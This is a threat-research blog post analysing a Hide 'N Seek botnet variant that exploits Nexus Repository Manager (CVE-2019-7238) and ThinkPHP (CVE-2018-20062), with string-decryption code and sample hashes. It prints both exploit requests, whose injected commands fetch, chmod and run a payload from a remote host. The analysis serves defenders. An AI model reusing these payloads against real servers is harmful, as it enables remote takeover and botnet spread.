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Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/ "Vulnerabilities") [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) # Hide 'N Seek Botnet Updates Arsenal with Exploits Against Nexus Repository Manager \& ThinkPHP ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 min read Related Products [![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:June 12, 2019 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [CVE-2018-20062](https://unit42.paloaltonetworks.com/tag/cve-2018-20062/) * [CVE-2019-7238](https://unit42.paloaltonetworks.com/tag/cve-2019-7238/) * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/) * 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and is known for its unique use of Peer-to-Peer communication between bots. Since its discovery, the malware family has seen a couple of upgrades, from the addition of persistence and new exploits, to targeting Android devices via the Android Debug Bridge (ADB). This post details a variant of the family first seen on the 21st of February 2019, incorporating two new exploits - [CVE-2018-20062](https://nvd.nist.gov/vuln/detail/CVE-2018-20062) which targets ThinkPHP installations, and [CVE-2019-7238](https://nvd.nist.gov/vuln/detail/CVE-2019-7238), a Remote Code Execution (RCE) vulnerability in Sonatype Nexus Repository Manager (NXRM) 3 software installations. While the ThinkPHP exploit has already been seen employed by several [Mirai variants](https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/), the only other instance of the CVE-2019-7238 vulnerability being exploited in the wild has been by the [DDG botnet](https://twitter.com/360Netlab/status/1127227057388310539). Our research, outlined below, shows that the Hide 'N Seek botnet incorporated this exploit back in February 2019, even before the DDG botnet. Technical Analysis This newest version of the Hide 'N Seek malware incorporates many of the previously seen features of the malware family including the [persistence, the incorporation of exploits](https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/), and [targeting Android devices](https://labs.bitdefender.com/2018/09/hide-and-seek-iot-botnet-learns-new-tricks-uses-adb-over-internet-to-exploit-thousands-of-android-devices/) via ADB. In addition to exploits previously used by the malware family, this particular version is unique for its use of the following two new exploits: * CVE-2019-7238, which is a RCE vulnerability in Sonatype Nexus Repository Manager installations prior to version 3.15.0. While Proof of Concept (PoC) code for this vulnerability has been publicly available since a few weeks after its public disclosure, the only other instance of it being exploited in the wild has been by the DDG botnet in May 2019. Our research has shown, based on the first seen date for samples of this new Hide 'N Seek version, that the first demonstrated exploitation in the wild was actually February 2019, a full month prior to the DDG botnet. The exploit format is shown below: POST /service/extdirect HTTP/1.1 Host: %J Accept: \*/\* Content-Type: application/json Connection: close Content-Length: %d {"action":"coreui\_Component","method":"previewAssets","data":\[{"page":1,"start":0,"limit":50,"sort":\[{"property":"name","direction":"ASC"}\],"filter":\[{"property":"repositoryName","value":"\*"},{"property":"expression","value":"233.class.forName(',27h,'java.lang.Runtime',27h,').getRuntime().exec(\['flock','-w','0','/tmp/l%N','sh','-c','(wget http://%J/%T -O %N||/bin/busybox tftp -g -l %N -r %T %I)\&\&chmod 777 %N\&\&./%N a%J a%J',27h,'\])"},{"property":"type","value":"jexl"}\]}\],"type":"rpc","tid":8} * CVE-2018-20062, is an RCE vulnerability in ThinkPHP. This exploit has frequently been used by Mirai variants in the wild since its public disclosure, however this is the first observed use of it by Hide 'N Seek. The exploit format is shown below: GET /?s=/index/thinkapp/invokefunction\&function=call\_user\_func\_array\&vars\[0\]=system\&vars\[1\]\[\]=(wget%20http://%J/%T%20-O%20%N||/bin/busybox%20tftp%20-g%20-l%20%N%20-r%20%T%20%I);chmod%20777%20%N;./%N%20a%J%20a%J HTTP/1.1 Host: %J In addition, this Hide 'N Seek variant also exploits the following vulnerabilities which it has used in the [past](https://www.fortinet.com/blog/threat-research/hide--n-seek--from-home-routers-to-smart-home-insecurities.html): * [CVE-2018-7297](https://www.exploit-db.com/exploits/45052): a RCE vulnerability in the HomeMatic Zentrale CCU2. * [CouchDB RCE](https://www.exploit-db.com/exploits/44913) * [OrientDB RCE](https://www.exploit-db.com/exploits/42965/) * [Netgear DGN1000 setup.cgi RCE](https://www.exploit-db.com/exploits/43055) * [AVTECH IP Camera/NVR/DVR RCE](https://www.exploit-db.com/exploits/40500) * [TP-Link Routers backdoor](https://sekurak.pl/tp-link-httptftp-backdoor/) In addition to the two new exploits, this new variant also uses an XOR key of 0x87 for string encryption, which is different from previously seen variants. However, the encryption scheme used is the same as has been used by the malware family so far i.e. a cumulative byte-wise XOR. This is better explained by the IDApython code-snippet below: key=0x87 for addr in range(strstart, strend): originalbyte = GetOriginalByte(addr) decryptedbyte = originalbyte^(key\&0xff) PatchByte(addr, decryptedbyte) key += decryptedbyte As seen in previous samples this malware family contains a list of hard-coded peers for P2P communication. The list of hard-coded peers in this new variant differs from samples seen in the past. The hard-coded peer IPs and ports in these samples can be found on our Github page [here](https://github.com/pan-unit42/iocs/blob/master/hidenseek/hardcodedpeers.txt). Conclusion Since its discovery, the Hide \`N Seek P2P Linux botnet has evolved to incorporate several new exploits to widen the range of devices it can infect. In this instance, the newly discovered variant added two recent vulnerabilities to its arsenal. In particular, it added an exploit targeting CVE-2019-7238, which, based on the dates of appearance of samples, makes this the earliest exploitation of the vulnerability in the wild. Palo Alto Networks customers are protected by: * WildFire, which detects all related samples with malicious verdicts * Threat Prevention, which blocks all exploits used by this variant. The malware family can be tracked in AutoFocus using the tag [HideNSeek](https://autofocus.paloaltonetworks.com/#/tag/Unit42.HideNSeek). Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit [www.cyberthreatalliance.org](https://www.cyberthreatalliance.org/). Indicators of Compromise |----------------|------------------------------------------------------------------------------------------------------------------------------------------|---------------------------| | **First Seen** | **SHA256** | **Targeted Architecture** | | 2019-02-21 | 49495c9aa08d7859fec1f99f487560b59d8a8914811746181e4e7edbee85341f | x86 64-bit | | 2019-02-21 | d068e8f781879774f0bcc1f2a116211d41194b67024fe45966c8272a8038a7a1 | ARM | | 2019-03-15 | 1583fd1c6607b77f51411c4ad7c9225324fd1b069645062a348cd885de0ac382 7e20c6cea88ade6a6c4a08ce48fe4ac2451069b7662a8dda4362a304b4854ec7 | ARM | | 2019-03-20 | 0b05202f4da9bbe1af1811707a76544453282c4f3c0ac9b353759c86742f4369 | MIPS big endian | | 2019-03-22 | 73df4e952c581afc427fa18fa2d0bcfa409c1814cd872a3ccf05d44f934ce780 | MIPS little endian | | 2019-05-24 | c082c39e595c7f23c04ce0d6597657d6e649585d5da49b5bd896e664b712e60d | MIPS big endian | | 2019-05-26 | 500dd4c1a5c24495c3bb8173ce5c7b15ba3344aef855090b9b9585b2bfeea974 | x86 | *Table 1. Sample IOCs for new Hide 'N Seek variant* Back to top ### Tags * [CVE-2018-20062](https://unit42.paloaltonetworks.com/tag/cve-2018-20062/ "CVE-2018-20062") * [CVE-2019-7238](https://unit42.paloaltonetworks.com/tag/cve-2019-7238/ "CVE-2019-7238") * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/ "exploits") * [HideNSeek](https://unit42.paloaltonetworks.com/tag/hidenseek/ "HideNSeek") * [IoT](https://unit42.paloaltonetworks.com/tag/iot/ "IoT") * [Linux](https://unit42.paloaltonetworks.com/tag/linux/ "Linux") * [ThinkPHP](https://unit42.paloaltonetworks.com/tag/thinkphp/ "ThinkPHP") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices](https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ "New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices") ### Related Articles * [The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "article - table of contents") * [Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "article - table of contents") * [Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "article - table of contents") ## Related Vulnerabilities Resources ![Pictorial representation of a group of people interacting with a dynamic 3D holographic display of colorful, undulating data waves on a table.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/09/11_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) August 4, 2026 [#### The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/) * [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI") * [Frontier AI](https://unit42.paloaltonetworks.com/tag/frontier-ai/ "Frontier AI") * [Vulnerability Exploitation](https://unit42.paloaltonetworks.com/tag/vulnerability-exploitation/ "Vulnerability Exploitation") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/ "The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software") ![Pictorial representation of AI-enabled autonomous cyberattacks. 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Abstract image of a glowing red Wi-Fi symbol on a circuit board, with intricate patterns and a futuristic appearance.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/04_Vulnerabilities_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) April 16, 2026 [#### A Deep Dive Into Attempted Exploitation of CVE-2023-33538](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/) * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet") * [Command injection](https://unit42.paloaltonetworks.com/tag/command-injection/ "Command injection") * [CVE-2023-33538](https://unit42.paloaltonetworks.com/tag/cve-2023-33538/ "CVE-2023-33538") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/ "A Deep Dive Into Attempted Exploitation of CVE-2023-33538") ![Pictorial representation of BeyondTrust vulnerability CVE-2026-1731. Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 19, 2026 [#### VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/) * [Bash](https://unit42.paloaltonetworks.com/tag/bash/ "bash") * [CVE-2026-1731](https://unit42.paloaltonetworks.com/tag/cve-2026-1731/ "CVE-2026-1731") * [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/ "VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)") ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 17, 2026 [#### Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) * [CVE-2026-1281](https://unit42.paloaltonetworks.com/tag/cve-2026-1281/ "CVE-2026-1281") * [CVE-2026-1340](https://unit42.paloaltonetworks.com/tag/cve-2026-1340/ "CVE-2026-1340") * [Ivanti](https://unit42.paloaltonetworks.com/tag/ivanti/ "Ivanti") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/ "Critical Vulnerabilities in Ivanti EPMM Exploited") ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) January 30, 2026 [#### Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/) * [CVE-2025-0921](https://unit42.paloaltonetworks.com/tag/cve-2025-0921/ "CVE-2025-0921") * [Privilege escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/ "privilege escalation") * [SCADA](https://unit42.paloaltonetworks.com/tag/scada/ "SCADA") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/ "Privileged File System Vulnerability Present in a SCADA System") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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